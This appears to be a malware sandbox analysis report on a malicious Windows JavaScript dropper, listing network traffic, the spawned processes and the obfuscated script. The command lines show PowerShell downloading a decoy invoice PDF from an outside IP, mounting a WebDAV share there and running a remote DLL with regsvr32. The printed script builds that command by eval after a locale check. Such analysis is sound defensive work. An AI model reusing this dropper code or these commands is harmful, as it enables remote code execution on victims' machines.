Jan 13, 2025 16:18:58.651077032 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 13, 2025 16:18:58.651110888 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 13, 2025 16:18:58.651149988 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 13, 2025 16:18:58.651180983 CET	36	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 Data Ascii: \|%gkPi~vU=.[
Jan 13, 2025 16:18:58.708328009 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6556	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:19:00.451302052 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 13, 2025 16:19:01.246501923 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 15:19:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	10:18:54
Start date:	13/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3130621478256819696.js"
Imagebase:	0x7ff7c7c50000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:18:54
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\229042692321085.dll
Imagebase:	0x7ff680000000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:18:54
Start date:	13/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:18:54
Start date:	13/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:18:58
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:18:59
Start date:	13/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff680000000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:18:59
Start date:	13/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60a7f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:18:59
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:19:00
Start date:	13/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:19:01
Start date:	13/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2144 --field-trial-handle=1528,i,9503969084529999324,17013692657919030116,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xzqcswo() {	xzqcswo() ➔ undefined
1	this[tlyqs + qpguxvj + mholwwzob + foakphrvc] ( "achgv=[1031,3079,5127,4103,2055,3072];var pobywr=this[erklxx+mholwwzob+rekagmu+jklfe+tlyqs+ubowwqrb+nbvlqffe+ekkfrw](this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][swanyia+rekagmu+tlyqs+mholwwzob+ekkfrw+tlyqs+rqomury+ylxpnam+uvptr+tlyqs+dqyymej+ekkfrw](rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw+emlhuiy+hvduhwko+udlqqukg+tlyqs+foakphrvc+foakphrvc)[xlbizyyn+tlyqs+mlxabk+xlbizyyn+tlyqs+mholwwzob+ewonkdyzv](ikreuc+hchnb+tichvpa+wevhxoouw+avdjhfcv+swanyia+tyyftluk+xlbizyyn+xlbizyyn+tichvpa+hkwewlh+hhhfw+avdjhfcv+tyyftluk+hvduhwko+tichvpa+xlbizyyn+hajhow+swanyia+hmjibe+nbvlqffe+ekkfrw+rekagmu+hmjibe+foakphrvc+blrqtcri+tdapbvzf+mholwwzob+nbvlqffe+tlyqs+foakphrvc+hajhow+ubowwqrb+nbvlqffe+ekkfrw+tlyqs+rekagmu+nbvlqffe+mholwwzob+ekkfrw+xtijrbl+hmjibe+nbvlqffe+mholwwzob+foakphrvc+hajhow+kgpqfkqn+hmjibe+dqyymej+mholwwzob+foakphrvc+tlyqs),16);for(zmaczphg=0;zmaczphg<achgv[foakphrvc+tlyqs+nbvlqffe+mlxabk+ekkfrw+udlqqukg];++zmaczphg){if(pobywr==achgv[zmaczphg]){pobywr=true;break;}}if(pobywr!==true)this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][hspwopbhn+fxebidadn+xtijrbl+ekkfrw]();this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][swanyia+rekagmu+tlyqs+mholwwzob+ekkfrw+tlyqs+rqomury+ylxpnam+uvptr+tlyqs+dqyymej+ekkfrw](rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw+emlhuiy+hvduhwko+udlqqukg+tlyqs+foakphrvc+foakphrvc)[rekagmu+fxebidadn+nbvlqffe](dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+erklxx+hmjibe+csmhdb+tlyqs+rekagmu+jklfe+udlqqukg+tlyqs+foakphrvc+foakphrvc+emlhuiy+tlyqs+jxwep+tlyqs+blrqtcri+sxqakdo+swanyia+hmjibe+nixzjb+nixzjb+mholwwzob+nbvlqffe+ewonkdyzv+blrqtcri+uhxnpvv+ubowwqrb+nbvlqffe+qpguxvj+hmjibe+knkmjzj+tlyqs+sxqakdo+rulbbp+tlyqs+ylxpnam+xlbizyyn+tlyqs+xiyuifdr+fxebidadn+tlyqs+jklfe+ekkfrw+blrqtcri+sxqakdo+rqomury+fxebidadn+ekkfrw+njeye+xtijrbl+foakphrvc+tlyqs+blrqtcri+wvelwft+ekkfrw+tlyqs+nixzjb+erklxx+wvelwft+hajhow+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+ewonkdyzv+tblczvdqr+blrqtcri+udlqqukg+ekkfrw+ekkfrw+erklxx+pfxvcp+trsjaaopv+trsjaaopv+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+trsjaaopv+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+udlqqukg+erklxx+uhxnpvv+xhzsicjm+xhzsicjm+jklfe+ekkfrw+mholwwzob+rekagmu+ekkfrw+blrqtcri+wvelwft+ekkfrw+tlyqs+nixzjb+erklxx+wvelwft+hajhow+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+ewonkdyzv+tblczvdqr+xhzsicjm+xhzsicjm+dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+nbvlqffe+tlyqs+ekkfrw+blrqtcri+fxebidadn+jklfe+tlyqs+blrqtcri+hajhow+hajhow+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+sqnvjm+rcimn+rcimn+rcimn+rcimn+hajhow+ewonkdyzv+mholwwzob+qpguxvj+csmhdb+csmhdb+csmhdb+rekagmu+hmjibe+hmjibe+ekkfrw+hajhow+xhzsicjm+xhzsicjm+dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+rekagmu+tlyqs+mlxabk+jklfe+qpguxvj+rekagmu+bbzhbtvv+cvsjvd+blrqtcri+trsjaaopv+jklfe+blrqtcri+hajhow+hajhow+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+sqnvjm+rcimn+rcimn+rcimn+rcimn+hajhow+ewonkdyzv+mholwwzob+qpguxvj+csmhdb+csmhdb+csmhdb+rekagmu+hmjibe+hmjibe+ekkfrw+hajhow+cvsjvd+cvsjvd+yggek+sgwhyx+tqnzfem+cvsjvd+psmxiybij+yggek+cvsjvd+bbzhbtvv+cvsjvd+mzaqm+sgwhyx+rcimn+mupap+emlhuiy+ewonkdyzv+foakphrvc+foakphrvc,0,false);" );	eval("achgv=[1031,3079,5127,4103,2055,3072];var pobywr=this[erklxx+mholwwzob+rekagmu+jklfe+tlyqs+ubowwqrb+nbvlqffe+ekkfrw](this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][swanyia+rekagmu+tlyqs+mholwwzob+ekkfrw+tlyqs+rqomury+ylxpnam+uvptr+tlyqs+dqyymej+ekkfrw](rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw+emlhuiy+hvduhwko+udlqqukg+tlyqs+foakphrvc+foakphrvc)[xlbizyyn+tlyqs+mlxabk+xlbizyyn+tlyqs+mholwwzob+ewonkdyzv](ikreuc+hchnb+tichvpa+wevhxoouw+avdjhfcv+swanyia+tyyftluk+xlbizyyn+xlbizyyn+tichvpa+hkwewlh+hhhfw+avdjhfcv+tyyftluk+hvduhwko+tichvpa+xlbizyyn+hajhow+swanyia+hmjibe+nbvlqffe+ekkfrw+rekagmu+hmjibe+foakphrvc+blrqtcri+tdapbvzf+mholwwzob+nbvlqffe+tlyqs+foakphrvc+hajhow+ubowwqrb+nbvlqffe+ekkfrw+tlyqs+rekagmu+nbvlqffe+mholwwzob+ekkfrw+xtijrbl+hmjibe+nbvlqffe+mholwwzob+foakphrvc+hajhow+kgpqfkqn+hmjibe+dqyymej+mholwwzob+foakphrvc+tlyqs),16);for(zmaczphg=0;zmaczphg<achgv[foakphrvc+tlyqs+nbvlqffe+mlxabk+ekkfrw+udlqqukg];++zmaczphg){if(pobywr==achgv[zmaczphg]){pobywr=true;break;}}if(pobywr!==true)this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][hspwopbhn+fxebidadn+xtijrbl+ekkfrw]();this[rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw][swanyia+rekagmu+tlyqs+mholwwzob+ekkfrw+tlyqs+rqomury+ylxpnam+uvptr+tlyqs+dqyymej+ekkfrw](rulbbp+hvduhwko+dqyymej+rekagmu+xtijrbl+erklxx+ekkfrw+emlhuiy+hvduhwko+udlqqukg+tlyqs+foakphrvc+foakphrvc)[rekagmu+fxebidadn+nbvlqffe](dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+erklxx+hmjibe+csmhdb+tlyqs+rekagmu+jklfe+udlqqukg+tlyqs+foakphrvc+foakphrvc+emlhuiy+tlyqs+jxwep+tlyqs+blrqtcri+sxqakdo+swanyia+hmjibe+nixzjb+nixzjb+mholwwzob+nbvlqffe+ewonkdyzv+blrqtcri+uhxnpvv+ubowwqrb+nbvlqffe+qpguxvj+hmjibe+knkmjzj+tlyqs+sxqakdo+rulbbp+tlyqs+ylxpnam+xlbizyyn+tlyqs+xiyuifdr+fxebidadn+tlyqs+jklfe+ekkfrw+blrqtcri+sxqakdo+rqomury+fxebidadn+ekkfrw+njeye+xtijrbl+foakphrvc+tlyqs+blrqtcri+wvelwft+ekkfrw+tlyqs+nixzjb+erklxx+wvelwft+hajhow+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+ewonkdyzv+tblczvdqr+blrqtcri+udlqqukg+ekkfrw+ekkfrw+erklxx+pfxvcp+trsjaaopv+trsjaaopv+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+trsjaaopv+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+udlqqukg+erklxx+uhxnpvv+xhzsicjm+xhzsicjm+jklfe+ekkfrw+mholwwzob+rekagmu+ekkfrw+blrqtcri+wvelwft+ekkfrw+tlyqs+nixzjb+erklxx+wvelwft+hajhow+xtijrbl+nbvlqffe+qpguxvj+hmjibe+xtijrbl+dqyymej+tlyqs+emlhuiy+erklxx+ewonkdyzv+tblczvdqr+xhzsicjm+xhzsicjm+dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+nbvlqffe+tlyqs+ekkfrw+blrqtcri+fxebidadn+jklfe+tlyqs+blrqtcri+hajhow+hajhow+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+sqnvjm+rcimn+rcimn+rcimn+rcimn+hajhow+ewonkdyzv+mholwwzob+qpguxvj+csmhdb+csmhdb+csmhdb+rekagmu+hmjibe+hmjibe+ekkfrw+hajhow+xhzsicjm+xhzsicjm+dqyymej+nixzjb+ewonkdyzv+blrqtcri+trsjaaopv+dqyymej+blrqtcri+rekagmu+tlyqs+mlxabk+jklfe+qpguxvj+rekagmu+bbzhbtvv+cvsjvd+blrqtcri+trsjaaopv+jklfe+blrqtcri+hajhow+hajhow+mzaqm+yggek+bbzhbtvv+emlhuiy+mzaqm+tqnzfem+bbzhbtvv+emlhuiy+mzaqm+emlhuiy+cvsjvd+sgwhyx+mupap+sqnvjm+rcimn+rcimn+rcimn+rcimn+hajhow+ewonkdyzv+mholwwzob+qpguxvj+csmhdb+csmhdb+csmhdb+rekagmu+hmjibe+hmjibe+ekkfrw+hajhow+cvsjvd+cvsjvd+yggek+sgwhyx+tqnzfem+cvsjvd+psmxiybij+yggek+cvsjvd+bbzhbtvv+cvsjvd+mzaqm+sgwhyx+rcimn+mupap+emlhuiy+ewonkdyzv+foakphrvc+foakphrvc,0,false);") ➔ 0
2	}
3	ekkfrw = "N";
4	ekkfrw = "D";
5	ekkfrw = "X";
6	ekkfrw = "n";
7	ekkfrw = "z";
8	ekkfrw = "e";
9	ekkfrw = "s";
10	ekkfrw = "t";
11	rulbbp = "p";
12	rulbbp = "P";
13	rulbbp = "l";
14	rulbbp = "i";
15	rulbbp = "g";
16	rulbbp = "b";
17	rulbbp = "L";
18	rulbbp = "K";
19	rulbbp = "p";
20	rulbbp = "W";
21	mlxabk = "s";
22	mlxabk = "X";
23	mlxabk = "I";
24	mlxabk = "I";
25	mlxabk = "O";
26	mlxabk = "B";
27	mlxabk = "g";
28	xiyuifdr = "l";
29	xiyuifdr = "F";
30	xiyuifdr = "m";
31	xiyuifdr = "N";
32	xiyuifdr = "Q";
33	xiyuifdr = "G";
34	xiyuifdr = "M";
35	xiyuifdr = "q";
36	knkmjzj = "J";
37	knkmjzj = "C";
38	knkmjzj = "v";
39	knkmjzj = "G";
40	knkmjzj = "s";
41	knkmjzj = "G";
42	knkmjzj = "k";
43	blrqtcri = "V";
44	blrqtcri = "S";
45	blrqtcri = "D";
46	blrqtcri = "t";
47	blrqtcri = "O";
48	blrqtcri = "z";
49	blrqtcri = "e";
50	blrqtcri = "L";
51	blrqtcri = " ";
52	qpguxvj = "x";
53	qpguxvj = "G";
54	qpguxvj = "Z";
55	qpguxvj = "Z";
56	qpguxvj = "D";
57	qpguxvj = "V";
58	qpguxvj = "U";
59	qpguxvj = "Z";
60	qpguxvj = "a";
61	qpguxvj = "v";
62	hspwopbhn = "e";
63	hspwopbhn = "T";
64	hspwopbhn = "z";
65	hspwopbhn = "a";
66	hspwopbhn = "U";
67	hspwopbhn = "h";
68	hspwopbhn = "D";
69	hspwopbhn = "A";
70	hspwopbhn = "Q";
71	mzaqm = "z";
72	mzaqm = "X";
73	mzaqm = "z";
74	mzaqm = "s";
75	mzaqm = "K";
76	mzaqm = "H";
77	mzaqm = "M";
78	mzaqm = "T";
79	mzaqm = "1";
80	psmxiybij = "E";
81	psmxiybij = "o";
82	psmxiybij = "I";
83	psmxiybij = "X";
84	psmxiybij = "W";
85	psmxiybij = "k";
86	psmxiybij = "h";
87	psmxiybij = "6";
88	ikreuc = "p";
89	ikreuc = "D";
90	ikreuc = "x";
91	ikreuc = "Q";
92	ikreuc = "P";
93	ikreuc = "j";
94	ikreuc = "g";
95	ikreuc = "H";
96	ikreuc = "G";
97	ikreuc = "H";
98	uhxnpvv = "Y";
99	uhxnpvv = "j";
100	uhxnpvv = "Y";
101	uhxnpvv = "D";
102	uhxnpvv = "l";
103	uhxnpvv = "S";
104	uhxnpvv = "\"";
105	tdapbvzf = "m";
106	tdapbvzf = "N";
107	tdapbvzf = "V";
108	tdapbvzf = "S";
109	tdapbvzf = "m";
110	tdapbvzf = "Z";
111	tdapbvzf = "B";
112	tdapbvzf = "K";
113	tdapbvzf = "P";
114	rekagmu = "T";
115	rekagmu = "s";
116	rekagmu = "d";
117	rekagmu = "e";
118	rekagmu = "d";
119	rekagmu = "Z";
120	rekagmu = "z";
121	rekagmu = "S";
122	rekagmu = "r";
123	bbzhbtvv = "H";
124	bbzhbtvv = "f";
125	bbzhbtvv = "X";
126	bbzhbtvv = "M";
127	bbzhbtvv = "S";
128	bbzhbtvv = "W";
129	bbzhbtvv = "3";
130	avdjhfcv = "C";
131	avdjhfcv = "w";
132	avdjhfcv = "M";
133	avdjhfcv = "Z";
134	avdjhfcv = "R";
135	avdjhfcv = "_";
136	xhzsicjm = "h";
137	xhzsicjm = "v";
138	xhzsicjm = "k";
139	xhzsicjm = "Q";
140	xhzsicjm = "i";
141	xhzsicjm = "o";
142	xhzsicjm = "&";
143	trsjaaopv = "B";
144	trsjaaopv = "L";
145	trsjaaopv = "O";
146	trsjaaopv = "g";
147	trsjaaopv = "j";
148	trsjaaopv = "/";
149	rqomury = "v";
150	rqomury = "x";
151	rqomury = "y";
152	rqomury = "A";
153	rqomury = "A";
154	rqomury = "e";
155	rqomury = "q";
156	rqomury = "k";
157	rqomury = "O";
158	swanyia = "Q";
159	swanyia = "O";
160	swanyia = "D";
161	swanyia = "a";
162	swanyia = "F";
163	swanyia = "j";
164	swanyia = "L";
165	swanyia = "C";
166	hkwewlh = "H";
167	hkwewlh = "Z";
168	hkwewlh = "q";
169	hkwewlh = "q";
170	hkwewlh = "s";
171	hkwewlh = "F";
172	hkwewlh = "f";
173	hkwewlh = "N";
174	ewonkdyzv = "Y";
175	ewonkdyzv = "u";
176	ewonkdyzv = "y";
177	ewonkdyzv = "u";
178	ewonkdyzv = "h";
179	ewonkdyzv = "n";
180	ewonkdyzv = "V";
181	ewonkdyzv = "e";
182	ewonkdyzv = "g";
183	ewonkdyzv = "d";
184	tyyftluk = "R";
185	tyyftluk = "K";
186	tyyftluk = "v";
187	tyyftluk = "C";
188	tyyftluk = "O";
189	tyyftluk = "Z";
190	tyyftluk = "y";
191	tyyftluk = "L";
192	tyyftluk = "T";
193	tyyftluk = "U";
194	hvduhwko = "Z";
195	hvduhwko = "b";
196	hvduhwko = "V";
197	hvduhwko = "c";
198	hvduhwko = "k";
199	hvduhwko = "E";
200	hvduhwko = "S";
201	sgwhyx = "B";
202	sgwhyx = "H";
203	sgwhyx = "Q";
204	sgwhyx = "m";
205	sgwhyx = "Y";
206	sgwhyx = "R";
207	sgwhyx = "0";
208	mupap = "o";
209	mupap = "i";
210	mupap = "T";
211	mupap = "c";
212	mupap = "D";
213	mupap = "V";
214	mupap = "q";
215	mupap = "y";
216	mupap = "5";
217	dqyymej = "O";
218	dqyymej = "A";
219	dqyymej = "e";
220	dqyymej = "A";
221	dqyymej = "J";
222	dqyymej = "D";
223	dqyymej = "n";
224	dqyymej = "u";
225	dqyymej = "c";
226	tqnzfem = "F";
227	tqnzfem = "K";
228	tqnzfem = "y";
229	tqnzfem = "J";
230	tqnzfem = "a";
231	tqnzfem = "x";
232	tqnzfem = "4";
233	wvelwft = "u";
234	wvelwft = "d";
235	wvelwft = "O";
236	wvelwft = "x";
237	wvelwft = "X";
238	wvelwft = "i";
239	wvelwft = "i";
240	wvelwft = "k";
241	wvelwft = "j";
242	wvelwft = "%";
243	sxqakdo = "b";
244	sxqakdo = "k";
245	sxqakdo = "B";
246	sxqakdo = "y";
247	sxqakdo = "g";
248	sxqakdo = "-";
249	kgpqfkqn = "W";
250	kgpqfkqn = "j";
251	kgpqfkqn = "q";
252	kgpqfkqn = "i";
253	kgpqfkqn = "e";
254	kgpqfkqn = "R";
255	kgpqfkqn = "K";
256	kgpqfkqn = "O";
257	kgpqfkqn = "L";
258	jklfe = "A";
259	jklfe = "w";
260	jklfe = "Z";
261	jklfe = "v";
262	jklfe = "L";
263	jklfe = "y";
264	jklfe = "j";
265	jklfe = "s";
266	foakphrvc = "r";
267	foakphrvc = "Y";
268	foakphrvc = "W";
269	foakphrvc = "J";
270	foakphrvc = "a";
271	foakphrvc = "u";
272	foakphrvc = "l";
273	mholwwzob = "C";
274	mholwwzob = "Q";
275	mholwwzob = "W";
276	mholwwzob = "s";
277	mholwwzob = "n";
278	mholwwzob = "j";
279	mholwwzob = "I";
280	mholwwzob = "X";
281	mholwwzob = "a";
282	rcimn = "V";
283	rcimn = "G";
284	rcimn = "F";
285	rcimn = "j";
286	rcimn = "o";
287	rcimn = "r";
288	rcimn = "w";
289	rcimn = "C";
290	rcimn = "8";
291	pfxvcp = "B";
292	pfxvcp = "s";
293	pfxvcp = "B";
294	pfxvcp = "s";
295	pfxvcp = "t";
296	pfxvcp = "f";
297	pfxvcp = "F";
298	pfxvcp = "P";
299	pfxvcp = "z";
300	pfxvcp = ":";
301	hhhfw = "Y";
302	hhhfw = "B";
303	hhhfw = "p";
304	hhhfw = "V";
305	hhhfw = "m";
306	hhhfw = "z";
307	hhhfw = "O";
308	hhhfw = "W";
309	hhhfw = "M";
310	hhhfw = "T";
311	emlhuiy = "E";
312	emlhuiy = "k";
313	emlhuiy = "T";
314	emlhuiy = "T";
315	emlhuiy = "N";
316	emlhuiy = "c";
317	emlhuiy = "o";
318	emlhuiy = "j";
319	emlhuiy = ".";
320	uvptr = "F";
321	uvptr = "B";
322	uvptr = "k";
323	uvptr = "t";
324	uvptr = "t";
325	uvptr = "j";
326	ubowwqrb = "M";
327	ubowwqrb = "h";
328	ubowwqrb = "k";
329	ubowwqrb = "d";
330	ubowwqrb = "D";
331	ubowwqrb = "b";
332	ubowwqrb = "I";
333	erklxx = "u";
334	erklxx = "Z";
335	erklxx = "h";
336	erklxx = "h";
337	erklxx = "u";
338	erklxx = "h";
339	erklxx = "O";
340	erklxx = "p";
341	nixzjb = "O";
342	nixzjb = "w";
343	nixzjb = "K";
344	nixzjb = "Y";
345	nixzjb = "g";
346	nixzjb = "U";
347	nixzjb = "m";
348	hchnb = "f";
349	hchnb = "A";
350	hchnb = "V";
351	hchnb = "Y";
352	hchnb = "t";
353	hchnb = "h";
